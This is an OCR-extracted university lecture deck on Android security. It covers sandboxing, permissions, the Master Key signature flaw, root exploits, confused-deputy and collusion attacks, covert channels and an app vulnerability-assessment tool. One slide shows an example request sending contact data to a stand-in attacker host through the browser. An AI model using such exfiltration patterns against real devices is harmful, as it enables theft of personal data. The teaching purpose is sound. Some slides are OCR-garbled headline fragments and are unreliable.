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Before starting....
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* Take you time to answer these question, w.r.t. your everyday
use of smartphones and tablets:

How long do you use a smartphone?

Does the kind of activities that you carry out on your
smartphone changed during time?

3. What kind of applications do you commonly use?
4. Do you TRUST your smartphone? To which extent?




ar Some important key concepts
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e Asset: An asset is what we’re trying to protect.

* Vulnerability: A vulnerability is a weakness or gap in our protection
efforts.

* Threat: A threat is what we’re trying to protect against.
* Risk: Risk is the intersection of assets, threats, and vulnerabilities.

* If your system has a vulnerability, a malicious entity can try to exploit
it (attack).

|| systems have vulnerabilities.




Mobile Apps
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g Steady grOWth Of number Of mOblle apps Number of available ap::licazt;g;sin the ﬁo;:)gle Play Store from
. December to Marc 17
* Apps are getting more and more
sophisticated (and hence complex)

Most users
grant security-critical permissions without
hesitation
use apps for security-critical operations (e-
health, mobile banking, ...)

Little/no confidence on apps even if they

come from official stores

statista%a

Trust?
Security?

We focus on Android in this talk but no... ioS is not more
secure than Android ©

Let’s start with some (very) basics on Android Security. 4



Application Packages (APK)

* Contains:

* Compiled sources of the application (Classes.dex)

Resources (images, videos,...)

Native libraries (C/C++ shared libraries)

META-INF (application certificate and package manifest)

Classes. dex Mative libs Resources META-INF  Application

Manifest
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Cu Security Benefits
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* Integrity check (APK cannot be modified after its initial packaging)

e Same origin policy

* Update only possible with packages signed with the same developer key

BUT:

» Google allows self-signed certificates

thenticity of developer not ensured!



Sandboxing
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Each application (and its resources) is confined in a
single Linux process.

Each application owns a private data folder.

The sandbox specifies which system resources the
application is allowed to access and how can interact
with other applications.
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Application Sandbox

* The isolation is enforced at the Kernel level.
* Each application has a unique UID and GID.

Process boundary

Kernel
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Process boundary



* BUT Dalvik VM

* The DVM Sandbox is not a App Code »

(Classes.dex) |
security boundary! '

* Easily circumvented with native Core libs

code

* Problems with some native Linux

operations !!!
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Permissions and Least Privilege
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Android Permission System
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* Required to gain access to:
» System Resources (e.g. battery, driver)
» Sensitive data (e.g. SMS, contacts)

* System interfaces (e.g. Internet, send SMS,..)

* Assigned to UIDs

» Applications can define their own permission to protect app

interfaces

15



Android Permission Example

ALLOWED
App B )

(Permission P)

Service
(requires P)

BELOCKED

0
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« During installation user was prompted for

Do you want to install this

required permissions ( now “at runtime”) application?
+ All-or-nothing approach ¥ Services that cost you money

. . . . Y locati
- User decides on his own if an app requires ¥ coarse (nemworicbased) ocatio, fine

(GPS) location
proper permission + Network communication

full Internet access

+ Your accounts
Google Maps, manage the accounts list,
use the authentication credentials of an
account

+ Storage
modify/delete USB storage contents

Install Cancel
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Android Insecurity

Are the previous security mechanisms enough?

Android is the most used operating system in mobile
devices

HOWEVER

It is the most targeted by malwares

@
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Cheap Android smar tphones pre-
«i Joaded w1th malware

Summe ary:

cor hean Andrn
Sll”nll(”” ) cheap Andro

20



UNIVERSITA DEGLI STUDI

bile malware DI GENOVA

0
aﬂ\ Cheap Android sSmartphones pre-
< loaded with malwale
sunmd (68 pel(,ent of top hee Android '

apps vulnerable to cyberattack,
Iesealchel dann

Summary: Secun

Malicious @
%hes 1 mﬁhon m

21



UNIVERSITA DEGLI STUDI

nlObl\ﬁ 1< cﬂW are DI GENOVA

aﬂ\ Cheap Android smart
«i loaded with malware
sunmd (8 pelcent ot top tree Android

apps vulnerable to cyberattack, | ——
researchers clam}Sx Ldroid bugs 16ave every -
cppare susprbl o Man v The Midl smartphone and tablet VU

to privilege esga\atlon

qy: SIXN
Summary:=-

Maliclous ¢ apps;
phones pre-

wches 1 mﬁhon m

-able




UNIVERSITA DEGLI STUDI
DI GENOVA

bile malware

OPS; mo
alicious a} -
M Tes 1 mﬁhOﬁ m aﬂ\ Cheap Android sSmartphones pre-
reac .

«i loaded with malware

sunmd (8 pelcent ot top tree Android

apps vulnerable to cyberattack, — :

researchers clalm iroid bugs 1eave every

le
Summary: S All( 1 1\

yvulner:
apps are susce J.‘: c"‘!-I'!» -.71{-. 111’0.‘."{ @ ‘11 t}:)\lOlle (111(1 t(lb\et
Srll ~ ~E 1‘ '\"—] 0\1

Half of all Android devices still o
vulnerable to 'privacy disaster’
browser bue;

Summe nr/ If1




UNIVERSITA DEGLI STUDI
DI GENOVA

\ul”'”a 68 I)el Cellt Ot tOI
apps vulnerah
researcher

Summary: S

apps are susce

ation
Half of all A or
vulnerable to 'y ) |
browser bug;

Summe IH/ If1




Google » Android : Vulnerability Statistics

Vulnerabilities (41) CW5S Scores Report rowse all versions Possible matches for this product Related Metas

Related AL C : Vulner ties (7) Patches {(10) Inwventory Definitions (0) Compliance Definitions (0]

Vulnerability Feeds & Widgets

Vulnerability Trends Over Time

; Http - - ’
# of Code Memory Sql Directory Bypass Gain Gain File
Dos ; Overflow M = %S5 * Response o : . CSRF .
Vulnerabilities Execution Corruption  Injection Traversal Splitting something Information  Privileges Inclusion

Vulnerabilities By Year Vulnerabilities By Type
2009 5 12 12 B Cenial of Service 12
20101 Bypass Something §
[ FITRR: M Execute Code 12
|_FITEE Memory Corruption 3
20137 7 Gain Information §
2014 11 Gain Priviege 7
Overflow 5

11

Sql Injection 1
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EUSPACE Android Vulnerabilities
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* Android is affected by both System and Application vulnerabilites.

* Example of System Vulnerability: Zygote Vulnerability

* Example of Application vulnerability: Android Master Key exploit.

26



Android Master Key
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* Android verifies the apk signature before its installation.
* Apk modifications after the signing phase are not allowed.

Manifest.mf Cert.sf

1.0
1.0 (Android)
st-Manifest: f69XkdZ0/GvvTRhrLZOtL7Q/2¥w=

ic_launcher.png Name: res/drawa
Name r @ i & er.png
SHA1 g : A\Vo 3¥7sanU=




Android Master Key
VU | Nera b| | |ty UNIVER3:1;£\E25‘.)%1{1 STUDI

Android verifies only the first file with the same name.

BUT

installs the second file in the list!

The vulnerability is due to the use of two different libraries for
verification and installation.

Manifest.mf Cert.sf

Install
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Sponsored
DHS/NCCIC/US-CERT

National Vulnerabi ity

autnmatingvulnerabilitymana_g';e nent,

Vulnerab

Home SCAP

Mission and Overview

NVD is the U.S.
government repository
of standards based
vulnerability
management data. This
data enables automation
of vulnerability
management, security
measurement, and
compliance (e.g. FISMA).

Resource Status

NVD contains:
68758 CVE Vulnerabilities
278 Checklists
248 US-CERT Alerts
4326 US-CERT Vuln Notes
10286 oval
101094 CPE Names

ueries

Last updated: 2/13/2015
4:15:40 AM

CVE Publication rate: 24.07

NVD provides four
mailing lists to the
public. For information
and subscription
instructions please visit
NVD Mailing Lists

Workload Index

Vulnerability Workload
Index: 11.06

About Us

NVD is a product of the
NIST Computer Security
Division and is
sponsored by the
Department of Homeland
Security's National Cyber
Security Division. It
supports the U.S.

More Info
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NIST

HNational Inst
Standards and

Urity me'asﬂi'e.r‘!'!'Eﬂt,.‘and compliance checking
800-53/800-53A Product Dictionary
| scaP validated Tools

Data Feeds
Contact

Checklists Impact Metrics

|scaP Events | About Vendor Comments

National Cyber Awareness System
ulnerability Summary for CVE-2013-4787
nal release date: 07/09/2013
Last revised: 10/11/2013
Source: US-CERT/NIST
Overview

Android 1.6 Donut through 4.2 Jelly Bean does not properly check cryptographic signatures for applications, which allows attackers to execute arbitrary code via an application package file (APK) that is modified in a way that does not violate the cryptographic signature, probably
involving multiple entries in a Zip file with the same name in which one entry is validated but the other entry is installed, aka Android security bug 8219321 and the "Master Key” vulnerability.

Impact
CVSS Severity (version 2.0):

CVSS v2 Base Score: 9.3 (HIGH) (AV:N/AC:M/Au: A:C) (legend)

Impact Subscore: 10.0
Exploitability Subscore: 8.6

CVSS Version 2 Metrics:

Access Vector: Network exploitable
Access Complexity: Medium
Authentication: Not required to exploit

Impact Type: Allows unautherized disclosure of information; Allows unauthorized modification; Allows disruption of service

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have infermation that would be of interest to you. No inferences should be drawn en account of cther sites being referenced, or net, from this page.
There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites.
Please address comments about this page to nvd@nist.gov.

External Source: MISC
Name: htt
Hyperlink: http

bluebox.com/cerporate-blog/bluebox-uncovers-android-master-key/
[bluebox.com/corporate-blog/bluebox-uncovers-android-master-key/

External Source: MISC

Name: https://jira.cyanogenmod.org/browse/CYAN-1602

Hyperlink: http {ira.cvanogenmod.org/browse/CYAN-1602

External Source: MISC
Name: http://review.cyanogenmod.org/

Hyperlink: http eview.cyancgenmeoed.org/




u More Info

*‘, /% m; - NIST

HNational Institute of

Spansored by hA
DHS/NCCIC/US-CERT M
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Impact Subscore: 1
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CVSS Version 2 Metrics:

cenmenm e e | ANAroid Master Key Exploit — Uncovering Android Master

Authentication: Not required to ex

Key That Makes 99% of Devices Vulnerable

NVD provides four
atinolli ot References to Advisorie

b S oy i https://bluebox.com/technical/uncovering-android-
master-key-that-makes-99-of-devices-vulnerable/

Hyperl

External Source
Name: h
Hyperli
epartment of Homeland External Source: M
i 3“"”3' Cyber yame: it
Hyperl
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Android Malware

 Most of malwares affect unlocked devices.

* Android is vulnerable to privilege escalation attacks :
* System-level -> Root Exploits

* Application-level -> Confused Deputy attacks, collusion
attacks

@
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System-level: Root Exploits

* Used for unlocking root privileges on a mobile device.

BUT A ROOT USER CAN:

1. Inherently holds all privileges
2. Cansilently install new apps
3. Has full storage access

4. Can execute low-level security sensitive operations

0

UNIVERSITA DEGLI STUDI
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Exploit

 Attacker can deliberately cause a fail in
setUID of newly created process by
Zygote.

* New process continues executing with
root privileges.

* Loading an apk in such a new process
g e its code to run with all privileges.

Example: GingerBreak Root @

UNIVERSITA DEGLI STUDI
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LR = 1313:26

(® GingerBreak

4¥¥, Rooting ...
Running exploit ...
This may take a few minutes !
Device will reboot on success !

35
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Malicious App Confused Deputy App

4 B 4 B

Malicious App Malicious App




EUSPACE
oo Confused Deputy attacks
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A privilege app (i.e. has permission to access resources)

is fooled into misusing its privilege on behalf of a
malicious unprivileged app.

1 &

/\

Privileged App Protected Resource )

37



Example: Exploit browser @
permission

1) Ask Browser to open URL
2) Browser loads URL

« GET: Files are downloaded,
by default to SD card
« POST: Send data to server

p- \ http://evil.com/post?
Andr01d Web | contactlname=Foo&contact

Browser 2phone=1234 ...

:

INTERNET Permission

- ' permissions you’re looking for.”
http://dtors.fil€s.wordpress.com/2010/08/blackhat-2010-slides.pdf, 2010.
DefCon 18.
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Cu Confused Deputies by OEMs
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* Samsung introduces several confused deputies in its device firmware
* E.g. An application that can be used as a root shell by others.

Backdoor

permission.”
kslab.com/dl/Android-OEM-applications-insecurity-and-backdoors-
without-permission.pdf. 39

http://WWW.q



Collusion Attacks

« Malicious application can collude to merge their respective
permissions.

« They can communicate using Intents or Covert channels

()‘@

Malicious App A Malicious App B

(Internet) (Contacts) Protected Resource ,/

Y 4 B.1) 82)‘/ {
Android OS

UNIVERSITA DEGLI STUDI
DI GENOVA
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Cu SoundComber
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* In USA credit companies allow financial transaction through

phone calls.
* User is invited to give his credit card number.

* Soundcomber is a colluded application malware that can steal

this number and sends it to an external server.

* Soundcomber relies on Android OS volume settings for data

transmission.

chlegel, K. Zhang, X. Zhou, M. Intwala, A. Kapadia, and X. Wang,

I: A stealthy and context-aware sound trojan for smartphones,”
Annual Network and Distributed System Security Symposium
(NDSS '11), The Internet Society, 2011
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.

App B

Permission:
Internet

App A

Permission:
Record Audio

e 2 4

o

J

SoundComber

Read

Android OS

k)w'
-~

0
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2
App B

Permission:
Internet

App A

Permission:
\ Record Audio

I e
VISA f: M |

L

SoundComber

Read Android OS

A

|
v

A QA

0
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2 A

App B

Permission:
Internet

App A

Permission:
\ Record Audio

SoundComber

Read

|

|
Y

=eE 24...81

s s &

Android OS

0
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Cu SoundComber
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/ A . R-')

po—— n-——-—n\-)

App B Read

Permission:
\ Internet 0

Android OS

lllllllll
App A

Permission: g
\ Record Audio J

VISA z 'h/ ‘/ﬂ Q4

. 4
—_— EEH E BN -
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= e u
App B

Permission:
Internet

App A
Permission:

e 2

|

_,_]

\ Record Audio @J

SoundComber

Read Android OS

0
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EUSPACE
oo Covert Channels
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* Malwares identifies other channels for data exchange:

P

AR A

* Light state
 Active process or threads
» Sound settings (Sondcomber is an example)

* The stealtier the channels is, the less data can be sent.

47



EUSPACE Example: Audio & Light

European Union in Space

e Covert Channels

- Surround music
- Light of a monitor/tv

AUDIO CHANNEL

— LAV

In their experiments they are able to activate a malware from 55
meters away in a crowded Starbucks using music.

Hasan, Ragib, et al. "Sensing-enabled channels for hard-to-
detect command and control of mobile
devices." Proceedings of the 8th ACM SIGSAC symposium
on Information, computer and communications security.
ACM, 2013.
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Considerations
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* Ok but Android evolves, new versions are released so....
AREN’T WE MORE SECURE NOW?

* Fixing discovered vulnerabilities implies that such vulnerabilities
disappear =2 RIGHT

* Android is fixed and new versions are more evolved = ARE THERE
ALSO MORE SECURE THAN PREVIOUS ONE?

Why? Usability vs. Security dilemma.

49
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* The latest Android version ( , Oreo) introduced two features

in the name of convenience («Usability»):
 Autofill Framework
* Instant Apps

Do they streghten the reliability of Android?
Can they be abused?

Considerations:

The Autofill Framework in some ways violates sandboxing
Instant Apps mechanism allows to execute remote code

50
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Automated Vulnerability
Assessment of Mobile Apps
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LUROVER|

App Information
Decompiler
Malware Analysis
Manifest

Permission Analysis
Policy Checker

Risk Analysis

Vulnerability Analysis

Download Report

2016 © Talos sris - All Rights Reserved

APPROVER: Automatic
mobile app security analysis

nsecureBank

Permission Analysis Malware Analysis
Issues:

App Information Policy Checker
Issues: (2)

poWNLIABIWODEL

Application Information
Size (KB): 21973.917

MD5: 0a8d7da32cfed7db5b6407321b673d3e
SHA1: 30b6d55096b008a2dc7b54382{094568346362ef

MALWARE ANALYSIS MANIFEST

v Object

AegisLab

allowBackup: false
Mic

Avira

UNIVERSITA DEGLI STUDI
DI GENOVA

BB scan List © simo ~ (@ Logout

(§) 0

rs Providers
.o
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Permission Analysis

PERMISSION ANALYSIS u|
ermissio
eclared
Permission Analysis Required And Used
Required But Not Used
Not Required But Used

Detection of permissions abuse & misuse by
In-depth inspection of actual code

54



Malware Analysis
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MALWARE ANALYSIS

AegisLab

Agnitum
Ahnlab
Antiy
AVG
Avira

Baidu

e Signature-based malware detection
e Leverages 30+ anti-malware engines

- 7
-
-
. “‘
A
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) =t

¢50+ known code vulnerability patterns
Pointers for quick review and inspection

e Description, guidelines and countermeasures

56
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POLICY CHECKER

Policy Checker
Issues: (3)

DOWNLOAD MODEL )

e Checks apps against behavioral patterns (aka policies)

e Predefined policy from OWASP Mobile Top 10

-l
x
1
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RiskeSZ/100 |

e Summarizes the application security assessment

e Provides fast-to-read overall score

-l
»
1
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Approver Automatic Risk Evaluation

RiSk49*86/410 -

Overall Risk
6.25 / 10.00 5.33/10.00 9.86 / 10.00
n Q\
Permission Risk Vulnerability Risk Malware Risk

Overprivileged or misconfigured apps 70+ known code vulnerability patterns 30+ anti-malware engines

S similarity against a large Vulnerabilities are categorized into  Risk calculated as a weighted sum on the
are families four danger levels number of malware occurrences
ples) (info, notice, warning, critical)
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#1 Security App Monitoring CERT P | |I n
at Poste Italiane CERT Postetaline osteitaliane

#2 Preliminary Analysis of

two popular apps Major Automotive Company

In-depth Risk Analysis of
" king App

Major Bank

IDI
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EUSPACE

European Union in Space

JEAN MONNET
MODULE

VULNERABILITY ANALYSIS

Analysis of Apps from
AutomOtlve Domal n UNIVERSITA DEGLI STUDI

DI GENOVA

APPROVER reports:

1. No effective SSL
certificates checking

2. WebView accepts

“Critical vulnerability that allows lllegal SSL certificates

attackers to mount MITM attacks” 3

20+ additional issues
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Italian Mobile Bank - Security

DI GENOVA

Re p O rt UNIVERSITA DEGLI STUDI

Apps for Mobile Banking of TOP 20 Italian Bank
Institutes

Home Banking APPROVER Report
Apps
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Rapporto Tecnico

Analisi e Valutazione della Sicurezza delle

Applicazioni per il Mobile Banking

Versione 1.0 - 12 ottobre 2017

In collaborazione con Talos s.r.lLs:

<talos

UNIVERSITA DEGLI STUDI
DI GENOVA




EUSPACE Vulnerability assessment of

European Union in Space

JEAN MONNET security-critical mobile app

MODULE

UNIVERSITA DEGLI STUDI

M5 - Insufficient Cryptography

M8 - Code Tampering

High

M3 - Insecure Communication

() 3
(02)

(02)

(051.95)

00

M10 - Extraneous Functionality

M10 - Extraneous Functionality

Medium

M0 - Reverse Engineering

M8 - Code Tampering

M4 - Insecure Authentication

Low

M0 - Reverse Engineering

M1 - Improper Platform Usage
Low Medium High

M8 - Code Tampering

Likelihood Level

0PPREPE®®®®

=Low

M2 - Insecure Data Storage

M2 - Insecure Data Storage

M2 - Insecure Data Storage

M3 - Insecure Communication

M5 - Insufficient Cryptography

M2 - Insecure Data Storage

M1 - Improper Platform Usage

M1 - Improper Platform Usage

M1 - Improper Platform Usage

M7 - Client Code Quality

M5 - Insufficient Cryptography
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voo® Vulnerability assessment of i
top-15 mobile apps in @

JEI UNIVERSITA DEGLI STUDI

security-critical sector

100,00%

75,00%

Result: most
apps fail basic
security
controls

0,00%

SSL Pinning Encrypted Communications

i
-

[: :] Spin-off of the University of Genova

ek
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Italian Mobile Bank - Security
Report

UNIVERSITA DEGLI STUDI

DI GENOVA

(o]

company Xx’s
web server

spoofed
security certificate
“I'm company x”

man in the middle
attacker
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Recent work: we analyzed the top 50 online trading apps and they
suffers from the same issues.

Some considerations:

* Mobile Security, as security in general, is a moving target: you solve a
problem, a plethora of new ones come up.

* App are always more security-sensitive s,

ay
THANKS

FOR YOUR ATTENTION!
ANY QUESTIONS?

NO?
GREAT! BYE! s

* loT will make things worse




